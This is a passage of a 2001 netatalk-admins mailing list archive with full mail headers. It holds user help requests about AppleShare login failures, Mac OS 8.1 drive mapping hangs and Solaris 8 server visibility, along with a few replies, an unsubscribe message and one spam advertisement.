	for <netatalk-admins@umich.edu>; Sun, 4 Nov 2001 22:40:19 -0500 (EST)
Received: from webramp [61.6.65.2]
	by financialzoo.com [61.6.65.4]
	with SMTP (MDaemon.PRO.v4.0.2.R)
	for <netatalk-admins@umich.edu>; Mon, 05 Nov 2001 10:57:06 +0800
Message-ID: <003101c165a5$b68715c0$df5158c6@webramp>
From: "Mike Soong" <mike.soong@financialzoo.com>
To: <netatalk-admins@umich.edu>
Subject: Trouble logging in
Date: Mon, 5 Nov 2001 10:58:14 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002E_01C165E8.C491EBC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MDRemoteIP: 61.6.65.2
X-Return-Path: mike.soong@financialzoo.com
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

This is a multi-part message in MIME format.

------=_NextPart_000_002E_01C165E8.C491EBC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



> Please help as I'm stuck. I have not compile the netatalk in the =
kernel=20
> as i think i dont really need an appletalk . An AppleShare IP would =
=3D> be suffient for me to work on. So the problem arises when i try to =
log =3D> in as real users, they will give me an error message taht tell =
me that =3D> the password that I enteris incorrect. I have set shadow =
password in =3D> /pathto/netatalk/etc/afpd/Makefile but it still doesn't =
seem to work. =3D=20
> can only log in as guest and not valid users. Please advice me on this =
=3D> ASAP.
>=20
> Thank you
>



*******************************************************************************************************
All e-mails originating from financialzoo have been scanned for 
known viruses using MailScan version 2.

This email (including any attachments) is intended for the use of the individual or entity
named above and may contain information that is privileged and confidential. If you are
not the intended recipient, please note that any dissemination, distribution or copying of
this email is strictly prohibited. If you have received this email in error, or, being the
intended recipient, you do not receive the entirety of this email, please notify us
immediately by telephone at +603-7957 9622 or by return e-mail.
 
WARNING: This email has not been encrypted or transmitted via a secure link, and is
subject to the usual hazards of Internet communication. We do not guarantee the
inviolability or integrity of the contents of this email, nor do we guarantee that there has
been no unauthorised interception or modification of this email whilst in transit. Whilst
every effort has been made to ensure that this email is free from computer viruses and
other malicious code, we are unable to accept responsibility for any loss or damage
caused by or attributable to any such malicious code attached to or infecting this email.
*******************************************************************************************************

------=_NextPart_000_002E_01C165E8.C491EBC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><BR><BR>&gt; Please help as I'm stuck. =
I have not=20
compile the netatalk in the kernel <BR>&gt; as i think i dont really =
need an=20
appletalk . An AppleShare IP would =3D&gt; be suffient for me to work =
on. So the=20
problem arises when i try to log =3D&gt; in as real users, they will =
give me an=20
error message taht tell me that =3D&gt; the password that I enteris =
incorrect. I=20
have set shadow password in =3D&gt; /pathto/netatalk/etc/afpd/Makefile =
but it=20
still doesn't seem to work. =3D <BR>&gt; can only log in as guest and =
not valid=20
users. Please advice me on this =3D&gt; ASAP.<BR>&gt; <BR>&gt; Thank=20
you<BR>&gt;<BR></FONT></DIV></BODY></HTML>


<html>
*******************************************************************************************************<br>
All e-mails originating from financialzoo have been scanned for <br>
known viruses using MailScan version 2.<br>
<br>
This email (including any attachments) is intended for the use of the individual or entity<br>
named above and may contain information that is privileged and confidential. If you are<br>
not the intended recipient, please note that any dissemination, distribution or copying of<br>
this email is strictly prohibited. If you have received this email in error, or, being the<br>
intended recipient, you do not receive the entirety of this email, please notify us<br>
immediately by telephone at +603-7957 9622 or by return e-mail.<br>
 <br>
WARNING: This email has not been encrypted or transmitted via a secure link, and is<br>
subject to the usual hazards of Internet communication. We do not guarantee the<br>
inviolability or integrity of the contents of this email, nor do we guarantee that there has<br>
been no unauthorised interception or modification of this email whilst in transit. Whilst<br>
every effort has been made to ensure that this email is free from computer viruses and<br>
other malicious code, we are unable to accept responsibility for any loss or damage<br>
caused by or attributable to any such malicious code attached to or infecting this email.<br>
*******************************************************************************************************<br>
<br>
</html>
------=_NextPart_000_002E_01C165E8.C491EBC0--



From netatalk.administrators-errors@umich.edu  Mon Nov  5 13:05:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02003
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Nov 2001 13:05:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA22312
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Nov 2001 13:05:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA22300
	for netatalk.administrators-members@umich.edu; Mon, 5 Nov 2001 13:05:55 -0500 (EST)
Received: from 216.143.34.222 (ppp-216-143-34-222.mclass.broadwing.net [216.143.34.222])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA21854; Mon, 5 Nov 2001 13:05:40 -0500 (EST)
Message-Id: <200111051805.NAA21854@easycomeeasygo.mr.itd.umich.edu>
Date: Mon, 5 Nov 2001 13:05:40 -0500 (EST)
From: Bevoriginals@BUGH.aol.com
To: @umich.edu@easycomeeasygo.mr.itd.umich.edu
Subject:  Send A Goodie Box -VXWN
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Let us send a Special Goodie Box to your Loved One..... 
filled with snack foods they are sure to enjoy

Son * Daughter * Friends * Servicemen * Son * Daughter * Friends * 

Order at our website
http://hometown.aol.com/bevoriginals/SmilingGoodieBoxfromhome.html
  pay with Mastercard/Visa or Check 

Or send $24.00 to BevOriginals PO Box 223 Davidson NC 28036

Please include your name for the card & the ship to address and your 
phone # in case we have questions. 

Let's us help you show them they are in your thoughts.
Thanks and God Bless Us All.


Ask about Fundraising opportunities Bevoriginals@aol.com



From netatalk.administrators-errors@umich.edu  Mon Nov  5 13:09:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02150
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Nov 2001 13:09:39 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA24980
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Nov 2001 13:09:39 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA24969
	for netatalk.administrators-members@umich.edu; Mon, 5 Nov 2001 13:09:38 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA24935
	for <netatalk-admins@umich.edu>; Mon, 5 Nov 2001 13:09:37 -0500 (EST)
Received: from tc11-n67-085.de.inter.net ([213.73.67.85] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 160oBe-0005mf-00
	for netatalk-admins@umich.edu; Mon, 05 Nov 2001 19:09:30 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id SAA19458
	for <netatalk-admins@umich.edu>; Mon, 5 Nov 2001 18:39:17 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Trouble logging in
Date: Mon, 5 Nov 2001 18:31:34 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <003101c165a5$b68715c0$df5158c6@webramp>
In-Reply-To: <003101c165a5$b68715c0$df5158c6@webramp>
MIME-Version: 1.0
Message-Id: <01110518391701.19425@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA02150

On Mon, 05 Nov 2001, Mike Soong wrote:
> 
> 
> 
> > Please help as I'm stuck. I have not compile the netatalk in the kernel 
> > as i think i dont really need an appletalk . An AppleShare IP would => be suffient for me to work on. So the problem arises when i try to log => in as real users, they will give me an error message taht tell me that => the password that I enteris incorrect. I have set shadow password in => /pathto/netatalk/etc/afpd/Makefile but it still doesn't seem to work. = 
> > can only log in as guest and not valid users. Please advice me on this => ASAP.
> > 
> > Thank you
> >
> 
> 
> 
> *******************************************************************************************************
> All e-mails originating from financialzoo have been scanned for
> known viruses using MailScan version 2.
> 
> This email (including any attachments) is intended for the use of the individual or entity
> named above and may contain information that is privileged and confidential. If you are
> not the intended recipient, please note that any dissemination, distribution or copying of
> this email is strictly prohibited. If you have received this email in error, or, being the
> intended recipient, you do not receive the entirety of this email, please notify us
> immediately by telephone at +603-7957 9622 or by return e-mail.
> 
> WARNING: This email has not been encrypted or transmitted via a secure link, and is
> subject to the usual hazards of Internet communication. We do not guarantee the
> inviolability or integrity of the contents of this email, nor do we guarantee that there has
> been no unauthorised interception or modification of this email whilst in transit. Whilst
> every effort has been made to ensure that this email is free from computer viruses and
> other malicious code, we are unable to accept responsibility for any loss or damage
> caused by or attributable to any such malicious code attached to or infecting this email.
> *******************************************************************************************************
> 

----------------------------------------
Content-Type: text/html; name="unnamed"
Content-Transfer-Encoding: quoted-printable
Content-Description: 
----------------------------------------



Could you please post plain text, exclusively!?
Your mail just wastes harddisk space, time, and bandwidth of Mail exchangers, list subscribers and
their providers.

I also can see only quoted text in your mail.
What is that all about?

And please wrap your text at some reasonable margin.

Thank you

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Nov  5 15:25:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA09928
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 5 Nov 2001 15:25:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA25022
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 5 Nov 2001 15:25:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA25009
	for netatalk.administrators-members@umich.edu; Mon, 5 Nov 2001 15:24:59 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA24973
	for <netatalk-admins@umich.edu>; Mon, 5 Nov 2001 15:24:58 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA5KOa809337;
	Mon, 5 Nov 2001 12:24:44 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 05 Nov 2001 12:24:39 -0800
Subject: Re: Trouble logging in
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@financialzoo.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B80C3586.8B88%sflist@ihonk.com>
In-Reply-To: <003101c165a5$b68715c0$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Please help as I'm stuck. I have not compile the netatalk in the kernel
> as i think i dont really need an appletalk . An AppleShare IP would => be
suffient for me to work on. So the problem arises when i try to log => in as
real users, they will give me an error message taht tell me that => the
password that I enteris incorrect. I have set shadow password in =>
/pathto/netatalk/etc/afpd/Makefile but it still doesn't seem to work. =
> can only log in as guest and not valid users. Please advice me on this =>
ASAP.

Hi Mike,

Have you tried an alternative authentication method like PAM or passwd to
see if you can get it working at all? What flavor of Linux are you running
this on?

Steve


From netatalk.administrators-errors@umich.edu  Tue Nov  6 03:29:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA13044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Nov 2001 03:29:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA21536
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Nov 2001 03:29:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA21523
	for netatalk.administrators-members@umich.edu; Tue, 6 Nov 2001 03:29:48 -0500 (EST)
Received: from rukzak.skavt.net (rukzak.skavt.net [212.103.146.165])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA21406
	for <netatalk-admins@umich.edu>; Tue, 6 Nov 2001 03:29:43 -0500 (EST)
Received: by rukzak.skavt.net (Postfix, from userid 16)
	id 9E2C167C3F; Tue,  6 Nov 2001 09:35:09 +0100 (CET)
To: netatalk-admins@umich.edu
Subject: unsubscribe
Message-ID: <1005035709.3be7a0bd95ec6@postar.skavt.net>
Date: Tue, 06 Nov 2001 09:35:09 +0100 (CET)
From: Toni Anzlovar <toni@skavt.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 213.143.66.42
X-Originating-HOST: 
X-Operating-System: Slackware Linux (http://www.linux.org)
X-WebMail-Company: SkavtNET Slovenia (http://www.skavt.net)



__



BP Toni
_________________________________________________________________
SkavtNET Slovenia - http://www.skavt.net - http://zskss.skavt.net
                         Ekipa SkavtNETa - http://ekipa.skavt.net

From netatalk.administrators-errors@umich.edu  Tue Nov  6 21:42:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA02685
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Nov 2001 21:42:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA05837
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Nov 2001 21:42:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA05818
	for netatalk.administrators-members@umich.edu; Tue, 6 Nov 2001 21:42:40 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA05734
	for <netatalk-admins@umich.edu>; Tue, 6 Nov 2001 21:42:38 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id MAA05177
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 12:38:34 +1000 (EST)
Message-ID: <3BE8A04D.FD36A6AF@qimr.edu.au>
Date: Wed, 07 Nov 2001 12:45:33 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: netatalk-1.4b2+asun2.1.4 on Solaris 8 broadcast timeout
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

On SUN Enterprise server running Solaris8, I installed the pre-compiled
abovementioned
tar ball (solaris8-TCP.tar.gz) of Tim Carlson from

ftp://ftp.santafe.edu/pub/unix/netatalk/

Everything works well, except I can not see the server in Mac's Chooser.
The server name seems
dropped out every 13 minutes or so. The server name will show up the
Chooser if I do "nbplkup".
I have to do "nbplkup" constently in order to keep server name in the
Chooser.

The ddp kernel driver seems installed fine. /etc/config, /etc/services,
etc have been modified according to README file.

Following is the netatalk related syslog messages when machine boots up.

What does "incompatible w/ Solaris STREAMS module." means? Is this the
problem?

Nov  7 09:56:40 ddp: [ID 772870 kern.info] netatalk 1.4b2+asun2.1.4
Nov  7 09:57:27 atalkd[1190]: [ID 441591 user.info] plumbed /dev/ge0
Nov  7 09:57:27 atalkd[1191]: [ID 602610 daemon.info] restart
(1.4b2+asun2.1.4)
Nov  7 09:57:27 atalkd[1191]: [ID 430690 daemon.info] setsockopt
incompatible w/ Solaris ST
REAMS module.
Nov  7 09:57:29  last message repeated 1 time
Nov  7 09:57:29 atalkd[1191]: [ID 875075 daemon.info] zip_getnetinfo for
ge0
Nov  7 09:57:47  last message repeated 2 times
Nov  7 09:57:57 atalkd[1191]: [ID 877925 daemon.info] config for no
router
Nov  7 09:57:59 atalkd[1191]: [ID 430690 daemon.info] setsockopt
incompatible w/ Solaris ST
REAMS module.
Nov  7 09:57:59 atalkd[1191]: [ID 128247 daemon.info] ready 0/0/0
Nov  7 09:58:12 papd[1207]: [ID 602610 lpr.info] restart
(1.4b2+asun2.1.4)

I don't have SUN C compiler, so, can't compile the ddp kernel drive
myself.
Is there any other pre-compiled netatalk for Solaris 8 somewhere that I
can try out?

Can anyone help me with this problem?

Thanks in advance!

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Wed Nov  7 02:09:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA13917
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 02:09:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA21875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 02:09:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA21856
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 02:09:17 -0500 (EST)
Received: from financialzoo.com ([61.6.65.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA21649
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 02:09:11 -0500 (EST)
Received: from webramp [61.6.65.2]
	by financialzoo.com [61.6.65.4]
	with SMTP (MDaemon.PRO.v4.0.2.R)
	for <netatalk-admins@umich.edu>; Wed, 07 Nov 2001 15:04:39 +0800
Message-ID: <002c01c1675a$9ff16700$df5158c6@webramp>
From: "Mike Soong" <mike.soong@financialzoo.com>
To: <netatalk-admins@umich.edu>
Subject: Mac Problem
Date: Wed, 7 Nov 2001 15:05:46 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0029_01C1679D.ADDAAB40"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-MDRemoteIP: 61.6.65.2
X-Return-Path: mike.soong@financialzoo.com
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

This is a multi-part message in MIME format.

------=_NextPart_000_0029_01C1679D.ADDAAB40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Currently I have this problem with the version of MAC OS. It seems that =
The newer Mac OS of 9.1 works pretty well with netatalk where I can map =
my drive using TCP/IP connection. But the older Mac OS 8.1, can't map =
the drive. Everytime I try to may th drive by providing the IP adderess =
for TCP/IP it will hanged the machine.
=20
Can you please advice me on this? Thank you.


*******************************************************************************************************
All e-mails originating from financialzoo have been scanned for 
known viruses using MailScan version 2.

This email (including any attachments) is intended for the use of the individual or entity
named above and may contain information that is privileged and confidential. If you are
not the intended recipient, please note that any dissemination, distribution or copying of
this email is strictly prohibited. If you have received this email in error, or, being the
intended recipient, you do not receive the entirety of this email, please notify us
immediately by telephone at +603-7957 9622 or by return e-mail.
 
WARNING: This email has not been encrypted or transmitted via a secure link, and is
subject to the usual hazards of Internet communication. We do not guarantee the
inviolability or integrity of the contents of this email, nor do we guarantee that there has
been no unauthorised interception or modification of this email whilst in transit. Whilst
every effort has been made to ensure that this email is free from computer viruses and
other malicious code, we are unable to accept responsibility for any loss or damage
caused by or attributable to any such malicious code attached to or infecting this email.
*******************************************************************************************************

------=_NextPart_000_0029_01C1679D.ADDAAB40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Currently I have this problem with the =
version of=20
MAC OS. It seems that The newer Mac OS of 9.1 works pretty well with =
netatalk=20
where&nbsp;I can map my drive using TCP/IP connection. But the older Mac =
OS 8.1,=20
can't map the drive. Everytime I try to may th drive by providing the IP =

adderess for TCP/IP it will hanged the machine.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Can you please advice me on this? Thank =

you.</FONT></DIV></BODY></HTML>


<html>
*******************************************************************************************************<br>
All e-mails originating from financialzoo have been scanned for <br>
known viruses using MailScan version 2.<br>
<br>
This email (including any attachments) is intended for the use of the individual or entity<br>
named above and may contain information that is privileged and confidential. If you are<br>
not the intended recipient, please note that any dissemination, distribution or copying of<br>
this email is strictly prohibited. If you have received this email in error, or, being the<br>
intended recipient, you do not receive the entirety of this email, please notify us<br>
immediately by telephone at +603-7957 9622 or by return e-mail.<br>
 <br>
WARNING: This email has not been encrypted or transmitted via a secure link, and is<br>
subject to the usual hazards of Internet communication. We do not guarantee the<br>
inviolability or integrity of the contents of this email, nor do we guarantee that there has<br>
been no unauthorised interception or modification of this email whilst in transit. Whilst<br>
every effort has been made to ensure that this email is free from computer viruses and<br>
other malicious code, we are unable to accept responsibility for any loss or damage<br>
caused by or attributable to any such malicious code attached to or infecting this email.<br>
*******************************************************************************************************<br>
<br>
</html>
------=_NextPart_000_0029_01C1679D.ADDAAB40--



From netatalk.administrators-errors@umich.edu  Wed Nov  7 03:03:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA15909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 03:03:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA17600
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 03:03:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA17592
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 03:03:48 -0500 (EST)
Received: from mail4.registeredsite.com (mail4.registeredsite.com [64.224.9.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA17571
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 03:03:47 -0500 (EST)
Received: from mail.bizedge.com (mail.bizedge.com [209.35.18.20])
	by mail4.registeredsite.com (8.11.6/8.11.4) with ESMTP id fA7767P08451
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 02:06:07 -0500
Received: from webramp [209.35.18.20] by mail.bizedge.com
  (SMTPD32-6.06) id AAD73AE011C; Wed, 07 Nov 2001 03:03:35 -0500
Message-ID: <007001c16763$02961ce0$df5158c6@webramp>
From: "Mike Soong" <mike.soong@bizedge.com>
To: <netatalk-admins@umich.edu>
Subject: Mac Problem
Date: Wed, 7 Nov 2001 16:05:46 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006D_01C167A6.0F620A40"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_006D_01C167A6.0F620A40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



Currently I have this problem with the version of MAC OS. It seems that =
The newer Mac OS of 9.1 works pretty well with netatalk where I can map =
my drive using TCP/IP connection. But the older Mac OS 8.1, can't map =
the drive. Everytime I try to may th drive by providing the IP adderess =
for TCP/IP it will hanged the machine.

Can you please advice me on this? Thank you.

------=_NextPart_000_006D_01C167A6.0F620A40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2></FONT><BR>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Currently I have this problem with the =
version of=20
MAC OS. It seems that The newer Mac OS of 9.1 works pretty well with =
netatalk=20
where&nbsp;I can map my drive using TCP/IP connection. But the older Mac =
OS 8.1,=20
can't map the drive. Everytime I try to may th drive by providing the IP =

adderess for TCP/IP it will hanged the machine.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Can you please advice me on this? Thank =

you.</FONT></DIV></BODY></HTML>

------=_NextPart_000_006D_01C167A6.0F620A40--


From netatalk.administrators-errors@umich.edu  Wed Nov  7 03:23:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA16655
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 03:23:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA12062
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 03:23:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA12049
	for netatalk.administrators-members@umich.edu; Wed, 7 Nov 2001 03:23:21 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA12022
	for <netatalk-admins@umich.edu>; Wed, 7 Nov 2001 03:23:20 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fA78N9810918;
	Wed, 7 Nov 2001 00:23:09 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 07 Nov 2001 00:23:12 -0800
Subject: Re: Mac Problem
From: Steve Freitas <sflist@ihonk.com>
To: Mike Soong <mike.soong@bizedge.com>, <netatalk-admins@umich.edu>
Message-ID: <B80E2F70.8BE7%sflist@ihonk.com>
In-Reply-To: <007001c16763$02961ce0$df5158c6@webramp>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Currently I have this problem with the version of MAC OS. It seems that The
> newer Mac OS of 9.1 works pretty well with netatalk where I can map my drive
> using TCP/IP connection. But the older Mac OS 8.1, can't map the drive.
> Everytime I try to may th drive by providing the IP adderess for TCP/IP it
> will hanged the machine.

What version of Netatalk are you using? What version of AppleShare client
under 8.1?

Steve Freitas


From netatalk.administrators-errors@umich.edu  Wed Nov  7 05:43:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA21318
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 7 Nov 2001 05:43:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA13486
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 7 Nov 2001 05:43:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA13460
